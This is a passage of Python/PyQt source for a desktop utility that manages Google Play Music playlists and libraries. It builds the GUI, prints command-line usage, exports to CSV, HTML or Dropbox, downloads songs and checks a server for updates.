Default\r\n self.HTMLHeader = \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep\r\n elif tableForegroundColor is not None and tableBackgroundColor is not None:\r\n # Validate the provided foreground and background colors.\r\n\r\n _rgbstring = re.compile(r'#[a-fA-F0-9]{6}$')\r\n\r\n # Validate that tableForegroundColor is a valid hex number\r\n if bool(_rgbstring.match(tableForegroundColor)) == False:\r\n self.messageBox(\"Recently Added\", \"tableForegroundColor is not a valid hex number. Please use only 0-9 and A-F with a leading #\")\r\n sys.exit()\r\n\r\n # Validate that tableBackgroundColor is a valid hex number\r\n if bool(_rgbstring.match(tableBackgroundColor)) == False:\r\n self.messageBox(\"Recently Added\", \"tableBackgroundColor is not a valid hex number. Please use only 0-9 and A-F with a leading #\")\r\n sys.exit()\r\n\r\n self.HTMLHeader = \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"\" + os.linesep + \"
Track IDTrack NameAlbumArtistTrack NumberYearAlbum ArtistDisc NumberGenre
\" + os.linesep + \"\" + os.linesep\r\n \r\n self.parseCommandLineArguments()\r\n \r\n self.buildMainWindow()\r\n\r\n # Check for updates\r\n if checkForUpdates == True:\r\n self.checkForUpdate()\r\n\r\n # Build the main screen\r\n def buildMainWindow(self):\r\n self.resize(self.width, self.height)\r\n self.setWindowTitle('Google Play Music Utility ' + self.version + \" Written by Segi Hovav\")\r\n\r\n leftPadding = 45\r\n\r\n ### Column 1 ###\r\n\r\n # Playlist Task Options Label\r\n self.playlistTaskLabel = QLabel(self)\r\n self.playlistTaskLabel.setText(\"Playlist Options\")\r\n self.playlistTaskLabel.move(self.columnXCoordinates[0], self.rowYCoordinates[0])\r\n\r\n # Playlist Task ComboBox\r\n self.playlistTaskComboBox = QComboBox(self)\r\n self.playlistTaskComboBox.addItem(None)\r\n self.playlistTaskComboBox.addItem(\"Create a playlist from CSV\")\r\n self.playlistTaskComboBox.addItem(\"Delete a playlist\")\r\n self.playlistTaskComboBox.addItem(\"Download all songs in a playlist\")\r\n self.playlistTaskComboBox.addItem(\"Duplicate a playlist\")\r\n self.playlistTaskComboBox.addItem(\"Export a playlist\")\r\n self.playlistTaskComboBox.addItem(\"Export all playlists\")\r\n self.playlistTaskComboBox.addItem(\"Find duplicates tracks in playlists\")\r\n self.playlistTaskComboBox.addItem(\"Rename a playlist\")\r\n # self.playlistTaskComboBox.addItem(\"Reorder a playlist\")\r\n\r\n self.playlistTaskComboBox.move(self.columnXCoordinates[0], self.rowYCoordinates[1])\r\n self.playlistTaskComboBox.activated[str].connect(self.playlistTaskComboBoxChange)\r\n\r\n # Library Task Label\r\n self.libraryTaskLabel = QLabel(self)\r\n self.libraryTaskLabel.setText(\"Library Options\")\r\n self.libraryTaskLabel.move(self.columnXCoordinates[0], self.rowYCoordinates[2])\r\n\r\n # Library Task ComboBox\r\n self.libraryTaskComboBox = QComboBox(self)\r\n self.libraryTaskComboBox.addItem(None)\r\n self.libraryTaskComboBox.addItem(\"Export all purchased songs\")\r\n self.libraryTaskComboBox.addItem(\"Export your entire library\")\r\n self.libraryTaskComboBox.addItem(\"View recently added files\")\r\n self.libraryTaskComboBox.activated[str].connect(self.libraryTaskComboBoxChange)\r\n self.libraryTaskComboBox.move(self.columnXCoordinates[0], self.rowYCoordinates[3])\r\n\r\n ### Column 2 ###\r\n\r\n # Playlist Label\r\n self.playlistLabel = QLabel(self)\r\n self.playlistLabel.setText(\"Playlist\")\r\n self.playlistLabel.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[0])\r\n self.playlistLabel.hide()\r\n\r\n # Playlist ComboBox\r\n self.playlistComboBox = QComboBox(self)\r\n self.playlistComboBox.setObjectName(\"playlistComboBox\") # Set the playlist combobox name so we can use it for validation when comparing 2 playlists\r\n self.playlistComboBox.move(self.columnXCoordinates[2]+(leftPadding), self.rowYCoordinates[0])\r\n self.playlistComboBox.activated[str].connect(self.playlistComboBoxChange)\r\n\r\n # Library Export Format Label\r\n self.libraryExportFormatLabel = QLabel(self)\r\n self.libraryExportFormatLabel.setText(\"Export as\")\r\n\r\n # Move the label relative to the width() of the library dropdown since I never know exactly how wide it will be\r\n self.libraryExportFormatLabel.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[2])\r\n self.libraryExportFormatLabel.hide()\r\n\r\n # Library Export Format ComboBox\r\n self.libraryExportFormatComboBox = QComboBox(self)\r\n self.libraryExportFormatComboBox.addItem(None)\r\n self.libraryExportFormatComboBox.addItem(\"CSV\")\r\n self.libraryExportFormatComboBox.addItem(\"HTML\")\r\n self.libraryExportFormatComboBox.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[3])\r\n self.libraryExportFormatComboBox.activated[str].connect(self.libraryExportFormatComboBoxChange)\r\n self.libraryExportFormatComboBox.hide()\r\n\r\n # Recently Added Label\r\n self.recentlyAddedLabel = QLabel(self)\r\n self.recentlyAddedLabel.setText(\"Added since\")\r\n\r\n # Move the label relative to the width() of the library dropdown since I never know exactly how wide it will be\r\n self.recentlyAddedLabel.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[2])\r\n self.recentlyAddedLabel.hide()\r\n\r\n # Recently Added ComboBox\r\n self.recentlyAddedDateEdit = QDateEdit(self)\r\n self.recentlyAddedDateEdit.setCalendarPopup(True)\r\n self.recentlyAddedDateEdit.setDisplayFormat('MM/dd/yyyy')\r\n self.recentlyAddedDateEdit.setFixedWidth(130)\r\n\r\n # Set the default date to current date-30 days\r\n d = date.today() - timedelta(days=30)\r\n self.recentlyAddedDateEdit.setDate(d)\r\n\r\n # This must be called for the event handler to work\r\n self.recentlyAddedDateEdit.calendarWidget().installEventFilter(self)\r\n\r\n # Bind the event when the date changes\r\n self.recentlyAddedDateEdit.connect(self.recentlyAddedDateEdit.calendarWidget(), QtCore.SIGNAL('selectionChanged()'), self.recentlyAddedDateEditChange)\r\n\r\n # Event when the user types in the QDateEdit control. Keyboard presses are ignore because events are triggered as soon as the control changes\r\n self.recentlyAddedDateEdit.connect(self.recentlyAddedDateEdit, QtCore.SIGNAL('keyPressEvent()'), self.recentlyAddedDateEditKeypress)\r\n\r\n # Move the date dropdown to the same location as self.libraryExportFormatComboBox\r\n self.recentlyAddedDateEdit.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[3])\r\n\r\n # Hide it initially\r\n self.recentlyAddedDateEdit.hide()\r\n\r\n self.playlistComboBox.hide()\r\n self.playlistComboBox.move(self.columnXCoordinates[1]+leftPadding, self.rowYCoordinates[1])\r\n self.playlistComboBox.activated[str].connect(self.playlistComboBoxChange)\r\n\r\n ### Column 3 ###\r\n\r\n # Export Format Label\r\n self.playlistExportFormatLabel = QLabel(self)\r\n self.playlistExportFormatLabel.setText(\"Export as\")\r\n\r\n # Move the label relative to the width() of the playlist dropdown since I never know exactly how wide it will be\r\n self.playlistExportFormatLabel.move(self.columnXCoordinates[1]+(self.playlistComboBox.width()*2)+(leftPadding*2), self.rowYCoordinates[0])\r\n self.playlistExportFormatLabel.hide()\r\n\r\n # Export Format ComboBox\r\n self.playlistExportFormatComboBox = QComboBox(self)\r\n self.playlistExportFormatComboBox.addItem(None)\r\n self.playlistExportFormatComboBox.addItem(\"CSV\")\r\n self.playlistExportFormatComboBox.addItem(\"HTML\")\r\n self.playlistExportFormatComboBox.hide()\r\n\r\n # Move the label relative to the width() of the playlist dropdown since I never know exactly how wide it will be\r\n self.playlistExportFormatComboBox.move(self.columnXCoordinates[1]+(self.playlistComboBox.width()*2)+(leftPadding*2), self.rowYCoordinates[1])\r\n self.playlistExportFormatComboBox.activated[str].connect(self.playlistExportFormatComboBoxChange)\r\n \r\n # Playlist Label for 2nd playlist\r\n self.playlistLabel2 = QLabel(self)\r\n self.playlistLabel2.setText(\"2nd Playlist\")\r\n self.playlistLabel2.move(self.columnXCoordinates[1]+(self.playlistComboBox.width()*2)+(leftPadding*2), self.rowYCoordinates[0])\r\n self.playlistLabel2.hide()\r\n\r\n # Playlist ComboBox for 2nd playlist\r\n self.playlistComboBox2 = QComboBox(self)\r\n self.playlistComboBox2.setObjectName(\"playlistComboBox2\") # Set the playlist combobox name so we can use it for validation when comparing 2 playlists\r\n \r\n self.playlistComboBox2.activated[str].connect(self.playlistComboBoxChange)\r\n self.playlistComboBox2.hide()\r\n \r\n # Update available\r\n self.updateButton = QPushButton(self)\r\n self.updateButton.setStyleSheet(\"QPushButton { color : darkred; }\");\r\n self.updateButton.move(self.columnXCoordinates[1]+(self.playlistComboBox.width()*2)+(leftPadding*2)+80,10)\r\n self.updateButton.resize(200,30)\r\n self.updateButton.clicked.connect(self.downloadUpdate)\r\n self.updateButton.hide()\r\n\r\n # Load all playlists into the playlist ComboBox. I do this here because both playlists have to be initialized first\r\n self.loadPlaylists()\r\n\r\n self.show()\r\n \r\n # Create the rename a playlist window\r\n def buildRecentlyAddedWindow(self, asOf=None, fileName=None, exportFormat=None, saveToDropbox=False):\r\n # Date to find songs that have been added since 30 days ago\r\n #asofDate=date.today() - timedelta(days=30)\r\n\r\n # Default export format to CSV if not specified\r\n if exportFormat is None:\r\n exportFormat = \"CSV\"\r\n elif self.exportFormatIsValid(exportFormat) != True:\r\n if asOf is None:\r\n self.messageBox(\"Recently Added\", \"Invalid exportFormat type \" + exportFormat)\r\n else:\r\n print(\"Recently Added: Invalid exportFormat type \" + exportFormat)\r\n return\r\n\r\n # Build date object based on function parameter asOf if given, otherwise use the value in DateTimeEdit control\r\n if asOf is None:\r\n asofDate = datetime.date(self.recentlyAddedYear, self.recentlyAddedMonth, self.recentlyAddedDay)\r\n else:\r\n asofDate = datetime.date(asOf.year, asOf.month, asOf.day)\r\n\r\n self.newSongs = []\r\n\r\n # Convert date from seconds to Microseconds (Milliseconds*1000)\r\n asofDateMS = time.mktime(asofDate.timetuple()) * 1000000\r\n\r\n asofDateMS = int(asofDateMS)\r\n\r\n\t\t# Add all songs with creationTimestamp > asofDate to an array\r\n for currNewSong in self.library:\r\n if float(self.library[currNewSong][9]) > asofDateMS:\r\n self.newSongs.append(self.library[currNewSong])\r\n '''# if we are exporting to CSV, get all available columns from self.library\r\n if fileName is not None:\r\n self.newSongs.append([self.library[currNewSong][0], self.library[currNewSong][1], self.library[currNewSong][2], self.library[currNewSong][3], self.library[currNewSong][4], self.library[currNewSong][5], self.library[currNewSong][6], self.library[currNewSong][7], self.library[currNewSong][8]])\r\n else:\r\n # Otherwise, only add Artist,Album,Track,Track Number and Date Added\r\n self.newSongs.append([self.library[currNewSong][3], self.library[currNewSong][2], self.library[currNewSong][1], self.library[currNewSong][4],str(datetime.datetime.fromtimestamp(float(int(self.library[currNewSong][9])/1000000)))])\r\n '''\r\n \r\n # When we are saving to Dropbox from the command line, create a default file name since one won't be provided\r\n if fileName is None:\r\n fileName = \"RecentlyAdded as of \" + time.strftime(\"%x %X\").replace(\"/\", \"-\") + \".\" + exportFormat.lower()\r\n\r\n # Sort by Artist (Index 1)\r\n self.newSongs = sorted(self.newSongs, key=lambda newsong: newsong[0], reverse=True)\r\n\r\n if len(self.newSongs) == 0:\r\n # If asOf is None, this function was not called from the command line\r\n if asOf is None:\r\n self.messageBox(\"Recently Added\", \"There were no songs added since the specified date\")\r\n else:\r\n print(\"There were no songs added since the specified date\")\r\n return\r\n\r\n # When command line arguments were provided use them here\r\n if asOf is not None:\r\n self.exportRecentlyAdded(fileName, exportFormat, saveToDropbox)\r\n \r\n if fileName is not None:\r\n if saveToDropbox == True:\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\r\n # Write the file to Dropbox\r\n dest_path = os.path.join('/', fileName)\r\n \r\n with open(fileName,'rb') as f:\r\n self.dropBoxClient.files_upload(f.read(),dest_path)\r\n\r\n sys.exit()\r\n\r\n self.recentlyAddedWidget = QWidget()\r\n self.recentlyAddedWidget.showMaximized()\r\n self.recentlyAddedWidget.setWindowTitle(\"Click on column title to sort\")\r\n \r\n table_model = TableModel(self,self.newSongs, [\"Artist\", \"Album\", \"Track\", \"Track Number\",\"Date Added\"])\r\n\r\n self.table_view = TableView()\r\n self.table_view.setModel(table_model)\r\n \r\n self.table_view.resizeColumnsToContents()\r\n\r\n # set font\r\n font = QFont(\"Courier New\", 14)\r\n\r\n self.table_view.setFont(font)\r\n\r\n # set column width to fit contents (set font first!)\r\n self.table_view.resizeColumnsToContents()\r\n\r\n # enable sorting\r\n self.table_view.setSortingEnabled(True)\r\n\r\n '''\r\n self.table_view.setDragEnabled(True)\r\n self.table_view.setAcceptDrops(True)\r\n self.table_view.setDragDropOverwriteMode(True)\r\n self.table_view.setDragDropMode(QAbstractItemView.InternalMove)\r\n self.table_view.setSelectionMode(QAbstractItemView.SingleSelection)\r\n self.table_view.setSelectionBehavior(QAbstractItemView.SelectRows)\r\n '''\r\n\r\n self.recentlyAddedLayout = QVBoxLayout(self.recentlyAddedWidget)\r\n \r\n self.buttonExportRecentlyAdded = QPushButton('Export Results')\r\n self.buttonExportRecentlyAdded.clicked.connect(partial(self.exportRecentlyAdded,fileName, exportFormat, saveToDropbox))\r\n self.recentlyAddedLayout.addWidget(self.buttonExportRecentlyAdded)\r\n \r\n self.recentlyAddedLayout.addWidget(self.table_view)\r\n self.recentlyAddedWidget.setLayout(self.recentlyAddedLayout)\r\n\r\n if self.recentlyAddedYear == 0:\r\n self.recentlyAddedWidget.show()\r\n\r\n # Check FireBase for latest version\r\n def checkForUpdate(self):\r\n latestVersion=requests.get(\"https://gMusicUtility.firebaseio.com/Version.json\").json()\r\n\r\n if str(latestVersion) != str(self.version):\r\n if len(sys.argv) == 1:\r\n self.updateButton.setText(\"gMusicUtility \" + str(latestVersion) + \" is available\")\r\n self.updateButton.show()\r\n else:\r\n print(\"There is an update available for gMusicUtility: Your version: \" + str(self.version) + \" latest version: \" + str(latestVersion) + \". Please visit \" + self.siteURL + \" to get the latest version\")\r\n else:\r\n if len(sys.argv) == 1:\r\n self.updateButton.setText(\"gMusicUtility is up to date.\")\r\n self.updateButton.show()\r\n else:\r\n print(\"gMusicUtility is up to date. Current Version is \" + self.version)\r\n\r\n # Command line parameters\r\n def commandLineUsage(self,param=None):\r\n print (os.linesep)\r\n print (\"Google Play Music Utility command line usage:\")\r\n print (os.linesep)\r\n\r\n if param is None or param == \"/checkforupdates\":\r\n print (chr(9) +\"/checkforupdates : Check the server for an update to gMusicUtility\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /checkforupdates\")\r\n print (chr(9) + chr(9) + \"Prints out message telling you if an update is available and provides a link to get the latest version\")\r\n print (os.linesep)\t\t\t \r\n\r\n if param is not None:\r\n return\r\n\r\n if param is None or param == \"/createplaylist\":\r\n print (chr(9) +\"/createplaylist : Create playlist from CSV.\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /createplaylist playlistname filename.csv\")\r\n print (chr(9) + chr(9) + \"Ex: \" + sys.argv[0] + \" /createplaylist Rock Rock.csv\")\r\n print (os.linesep)\t\t\t \r\n\r\n if param is not None:\r\n return\r\n\t\t\t\t\t\r\n if param is None or param == \"/deleteplaylist\":\r\n print (chr(9) + \"/deleteplaylist: Delete a playlist. Use with caution since there's no confirmation when using this.\") \r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /deleteplaylist playlistname\")\r\n print (chr(9) + chr(9) + \"Ex: \" + sys.argv[0] + \" /deleteplaylist Rock\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\t\t\r\n if param is None or param == \"/downloadplaylist\":\r\n print (chr(9) + \"/downloadplaylist: Download all songs in a playlist.\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /downloadplaylist playlistname path\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /downloadplaylist Rock c:\\playlists\")\r\n print (chr(9) + chr(9) + \"Save to DropBox: \" + sys.argv[0] + \" /downloadplaylist Rock Dropbox\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\r\n if param is None or param == \"/duplicateplaylist\":\r\n print (chr(9) + \"/duplicateplaylist: Duplicate a playlist.\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /duplicateplaylist playlistname newplaylistname\")\r\n print (chr(9) + chr(9) + \"Ex: \" + sys.argv[0] + \" /duplicateplaylist Rock Rock2\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\t\t\t\t\t\r\n if param is None or param == \"/duplicateplaylist\":\r\n print (chr(9) + \"/exportplaylist: Export a playlist as CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /exportplaylist playlistname path format where format is CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Save Locally: \" + sys.argv[0] + \" /exportplaylist Rock c:\\RockPlaylist.csv CSV\")\r\n print (chr(9) + chr(9) + \"Save to DropBox: \" + sys.argv[0] + \" /exportplaylist Rock Dropbox CSV\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\r\n if param is None or param == \"/exportallplaylists\":\r\n print (chr(9) + \"/exportallplaylists: Export all playlists as CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /exportallplaylists path format where format is CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /exportallplaylists c:\\playlists CSV\")\r\n print (chr(9) + chr(9) + \"Save to DropBox: \" + sys.argv[0] + \" /exportallplaylists Dropbox CSV\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\t\t\r\n if param is None or param == \"/exportlibrary\":\r\n print (chr(9) + \"/exportlibrary: Export all songs in GPM library as CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /exportlibrary filename format where format is CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /exportlibrary c:\\MyLibrary.csv CSV\")\r\n print (chr(9) + chr(9) + \"Save DropBox: \" + sys.argv[0] + \" /exportlibrary Dropbox CSV\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\r\n if param is None or param == \"/exportpurchasedsongs\":\r\n print (chr(9) + \"/exportpurchasedsongs: Export all purchased songs in GPM library as CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /exportpurchasedsongs filename format where format is CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /exportpurchasedsongs c:\\PurchasedSongs.csv CSV\")\r\n print (chr(9) + chr(9) + \"Save DropBox: \" + sys.argv[0] + \" /exportpurchasedsongs Dropbox CSV\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\r\n if param is None or param == \"/findduplicates\":\r\n print (chr(9) + \"/findduplicates: Compare 2 playlists & find tracks that are in both playlists. Results are saved as CSV automatically\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /findduplicates playlist1 playlist2 format\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /findduplicates Rock Misc Rock_Misc_Comparison.csv\")\r\n print (chr(9) + chr(9) + \"Save DropBox: \" + sys.argv[0] + \" /findduplicates Rock Misc Dropbox\")\r\n print (os.linesep)\r\n\r\n if param is None: \r\n print (chr(9) + \"/help: command line usage\")\r\n print (os.linesep)\r\n\r\n if param is None or param == \"/recentlyadded:\":\r\n print (chr(9) + \"/recentlyadded: List all files added since specified date and save results as CSV or HTML\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /recentlyadded addedsincedate filename format\")\r\n print (chr(9) + chr(9) + \"Save locally: \" + sys.argv[0] + \" /recentlyadded 02/28/2018 recentlyadded.csv CSV\")\r\n print (chr(9) + chr(9) + \"Save DropBox: \" + sys.argv[0] + \" /recentlyadded 02/28/2015 Dropbox CSV\")\r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\t\t\t \r\n if param is None or param == \"/renameplaylist\":\r\n print (chr(9) + \"/renameplaylist: Rename a playlist.\")\r\n print (chr(9) + chr(9) + \"Syntax: \" + sys.argv[0] + \" /renameplaylist playlistname newplaylistname\")\r\n print (chr(9) + chr(9) + \"Ex: \" + sys.argv[0] + \" /renameplaylist Rock Rock2 \") \r\n print (os.linesep)\r\n\r\n if param is not None:\r\n return\r\n\r\n sys.exit()\r\n\r\n # Create M3U file for the specified playlist based on the file directory structure\r\n def createM3U(self,playlistName,dir=\".\"):\r\n try:\r\n playlist = ''\r\n mp3s = []\r\n mp3Found = False\r\n\r\n if playlist == '':\r\n playlist = playlistName + '.m3u'\r\n\r\n os.chdir(dir)\r\n\r\n # This will fix relative paths by converting them to absolute paths. Fixes issue with m3u not being created when specifying relative path as download dir\r\n dir = os.getcwd() + self.delimiter\r\n\r\n for root, dirnames, filenames in os.walk(dir,followlinks=True):\r\n for file in filenames:\r\n root.replace(dir + self.delimiter,\"\") + self.delimiter + file\r\n if file.endswith('.mp3'):\r\n mp3Found = True\r\n \r\n with open(root + \"/\" + playlist, 'w') as out:\r\n out.write(\"#EXTINF: \" + str(int(MP3(root + self.delimiter + file).info.length)) + \",\" + EasyID3(root + self.delimiter + file)['artist'][0] + \" - \" + EasyID3(root + self.delimiter + file)['title'][0] + os.linesep)\r\n out.write(\"#EXTM3U\" + os.linesep)\r\n \r\n except Exception as e:\r\n print(\"Error: \" + str(e))\r\n\r\n if mp3Found == False:\r\n print(\"No mp3 files found in '%s'.\" % dir)\r\n \r\n # Create a playlist from an exported CSV file\r\n def createPlaylistFromCSV(self, newPlaylistName=None, fileName=None):\r\n importFile = None\r\n\r\n # If no command line parameters were given\r\n if newPlaylistName is None:\r\n # Display the prompt modally\r\n newPlaylistName = self.showDialog(\"Create playlist from CSV\", \"Please enter the name of the playlist that you want to create\")\r\n\r\n # When the dialog result is None, the user cancelled the dialog or clicked on OK without entering a playlist name\r\n if newPlaylistName == None or newPlaylistName == \"\":\r\n return\r\n\r\n # Check to see if there is already a playlist with the same name as the one that will be created\r\n # If there is one, confirm with the user that they want to create a duplicate playlist\r\n playlistNames = []\r\n\r\n # Add all playlist names to an array\r\n for playlist in self.playlists:\r\n playlistNames.append(playlist[\"name\"])\r\n\r\n # Sort the array\r\n playlistNames.sort()\r\n\r\n # Loop through all playlists. If the new playlist name chosen is in use, confirm with the user before creating a new playlist with the same name as another existing playlist\r\n for playlist in playlistNames:\r\n if playlist == newPlaylistName and AllowDuplicatePlaylistNames == False:\r\n result = self.messageBox_YesNo(\"Playlist name exists already\", \"The new playlist name that you entered exists already. Are you sure that you want to use this playlist name anyways ?\")\r\n\r\n if result == \"NO\":\r\n return\r\n\r\n # if fileName wasn't provided from the command line arguments, prompt for it\r\n\r\n if fileName is None:\r\n # Prompt for the CSV to open. This will open the file for reading\r\n fileName, filter = QFileDialog.getOpenFileName(self, 'Choose the CSV to create the playlist from', selectedFilter='*.csv')\r\n\r\n # If the user clicked on cancel then do nothing\r\n if fileName is None or fileName == \"\":\r\n return False\r\n\r\n if fileName[-4:].upper() != \".CSV\":\r\n self.messageBox(\"Create Playlist From Export\", \"The file to create the playlist from must be a CSV file\")\r\n return\r\n\r\n # Create the new playlist and store the new playlist id\r\n newPlaylistId = self.mc.create_playlist(newPlaylistName)\r\n\t\t \r\n csv.register_dialect('myDialect',delimiter = ',',quoting=csv.QUOTE_ALL,lineterminator = os.linesep)\r\n \r\n with open(fileName) as f:\r\n csvReader = csv.reader(f, dialect='myDialect')\r\n for row in csvReader:\r\n self.mc.add_songs_to_playlist(newPlaylistId,row[0])\r\n\r\n if len(sys.argv) > 1:\r\n sys.exit()\r\n else:\r\n self.messageBox(\"Create Playlist from CSV\", \"The playlist \" + newPlaylistName + \" has been created\")\r\n\r\n # Reload the playlists from the server\r\n self.loadPlaylists()\r\n\r\n # Event when the user clicks on a playlist that will be deleted\r\n def deletePlaylist(self, playlistName, forceConfirmation=None):\r\n # If no playlist name was provided at the command line, display confirmation twice before deleting the playlist\r\n if playlistName is None or forceConfirmation == True:\r\n # Confirm before deleting a playlist\r\n result = self.messageBox_YesNo(\"Delete Playlist\", \"Are you sure that you want to delete the playlist \" + playlistName + \" ?\")\r\n\r\n if result != 'YES':\r\n return\r\n\r\n # Confirm a 2nd time\r\n result = self.messageBox_YesNo(\"Delete Playlist\", \"Are you 100% sure that you want to delete the playlist \" + playlistName + \" ?\")\r\n\r\n if result != 'YES':\r\n return\r\n\r\n # Get the playlist id for the specified playlist name\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlistName:\r\n deletePlaylistID = playlist[\"id\"]\r\n\r\n # API call to delete the playlist\r\n self.mc.delete_playlist(deletePlaylistID)\r\n\r\n # Reload the playlists from the server since we just deleted a playlist in case the user wants to delete another playlist\r\n if len(sys.argv) == 1:\r\n self.messageBox(\"Delete a Playlist\", \"The playlist \" + playlistName + \" has been deleted\")\r\n\r\n self.loadPlaylists()\r\n else:\r\n sys.exit()\r\n\r\n # Event when the user clicks on Download all songs in a playlist\r\n def downloadPlaylistToDirectory(self, playlistName, downloadPath=None, saveToDropbox=False):\r\n # Log into Google using OAuth so we can use the Musicmanager interface\r\n if self.performGoogleOAuth() == False:\r\n return\r\n \r\n # If saveToDropbox is False, prompt for the save location. Otherwise we force a return val of Dropbox\r\n if downloadPath is None and saveToDropbox == True:\r\n saveLocation = \"Dropbox\"\r\n elif downloadPath is not None and saveToDropbox == False:\r\n saveLocation = \"Locally\"\r\n else:\r\n saveLocation = self.promptForSaveLocation()\r\n\r\n if saveLocation == \"Dropbox\":\r\n # Log into Dropbox using OAuth so we can read and write to it\r\n if self.performDropboxOAuth() == False:\r\n return\r\n\r\n # Create a folder in Dropbox based on the playlist name chosen. If the folder exists already, we renamed the older folder to playlistName-old. If playlistName-old folder exists already, it is deleted first\r\n try:\r\n folder_metadata = self.dropBoxClient.files_get_metadata(\"/\" + playlistName, include_deleted=False)\r\n \r\n # Check to see whether the folder playlistName-old exists. If it does, delete it\r\n try:\r\n folder_metadata = self.dropBoxClient.files_get_metadata(\"/\" + playlistName + \"-old\", include_deleted=False)\r\n\r\n # Delete the playlistName-old folder\r\n try:\r\n self.dropBoxClient.files_delete(\"/\" + playlistName + \"-old\")\r\n except dropbox.files.DeleteError as e:\r\n print(\"An error occurred deleting the folder /\" + playlistName + \"-old with the error %s\" % e)\r\n sys.exit()\r\n except Exception as e:\r\n pass # If the folder doesn't exist, it will throw an exception so ignore this exception\r\n\r\n # Rename the folder playlistName to playlistName-old\r\n try:\r\n self.dropBoxClient.files_move(\"/\" + playlistName, \"/\" + playlistName + \"-old\")\r\n except Exception as e:\r\n print(\"An error occurred renaming the folder /\" + playlistName + \" to /\" + playlistName + \"-old with the error %s\" % e)\r\n sys.exit()\r\n except Exception as e:\r\n pass # We need to catch this Exception when the folder playlistName doesn't exist which may be OK (it doesn't have to exist already)\r\n \r\n # Create the playlist folder\r\n try:\r\n # CONTINUE HERE THIS DOESNT EXIST\r\n self.dropBoxClient.files_create_folder(\"/\" + playlistName)\r\n except Exception as e:\r\n print(\"An error occurred creating the folder /\" + playlistName + \" with the error %s\" % e)\r\n return\r\n elif saveLocation == \"Cancel\":\r\n return\r\n\r\n # Look for the specified playlist\r\n for playlist in self.playlists:\r\n if playlist[\"name\"] == playlistName:\r\n for track in playlist[\"tracks\"]:\r\n # If the track ID was not found in the library \r\n if self.library.get(track['trackId'],\"\") == \"\":\r\n continue\r\n\r\n # Make API call to get the suggested file and audio byte string\r\n filename, audio = self.mm.download_song(self.library[track['trackId']][0])\r\n\r\n if saveLocation == \"Locally\":\r\n # If path wasn't given at the command line prompt for it\r\n if downloadPath is None:\r\n downloadPath = QFileDialog.getExistingDirectory(parent=self, dir=\"/\", caption='Please select a directory')\r\n\r\n if downloadPath == \"\" or downloadPath is None:\r\n return\r\n\r\n # Determine the delimiter based on the O.S.\r\n if sys.platform == \"win32\":\r\n downloadPath = downloadPath.replace(\"/\", \"\\\\\")\r\n \r\n with open(downloadPath + filename, 'wb') as f:\r\n f.write(audio)\r\n f.close()\r\n\r\n if noSubDirectories == False:\r\n artistFolder=downloadPath + self.sanitizeString(self.library[track['trackId']][3])\r\n else:\r\n artistFolder=downloadPath\r\n\r\n # Make the Artist folder if it doesn't exist\r\n if os.path.isdir(artistFolder) == False:\r\n os.mkdir(artistFolder)\r\n \r\n if noSubDirectories == False:\r\n albumFolder=artistFolder + self.delimiter + self.sanitizeString(self.library[track['trackId']][2])\r\n else:\r\n albumFolder=artistFolder\r\n\r\n # Make the Album folder if it doesn't exist\r\n if os.path.isdir(albumFolder) == False:\r\n os.mkdir(albumFolder)\r\n\r\n # Move the song to the appropriate subdirectory\r\n trackFile=albumFolder + self.delimiter + self.sanitizeString(filename,True)\r\n\r\n # os.rename will fail if the file exists already so verify if the file exists and delete it if it does\r\n if noSubDirectories == False and os.path.isfile(trackFile) == True:\r\n os.remove(trackFile)\r\n\r\n if noSubDirectories == False:\r\n os.rename(downloadPath + self.delimiter + filename,trackFile)\r\n elif saveLocation == \"Dropbox\":\r\n # Create the folder named after the artist if it doesn't exist already\r\n if noSubDirectories == False:\r\n artistFolder=\"/\" + playlistName + \"/\" + self.sanitizeString(self.library[track['trackId']][3])\r\n else:\r\n artistFolder=\"/\" + playlistName\r\n \r\n try:\r\n # Create the folder uncoditionally because if it existed before and was deleted, we need to recreate it\r\n self.dropBoxClient.files_create_folder(artistFolder)\r\n except Exception as e:\r\n pass # Suppress warning because there seems to be an issue where this script tries to create the folder name even when it exists already\r\n\r\n # Create the folder named after the album if 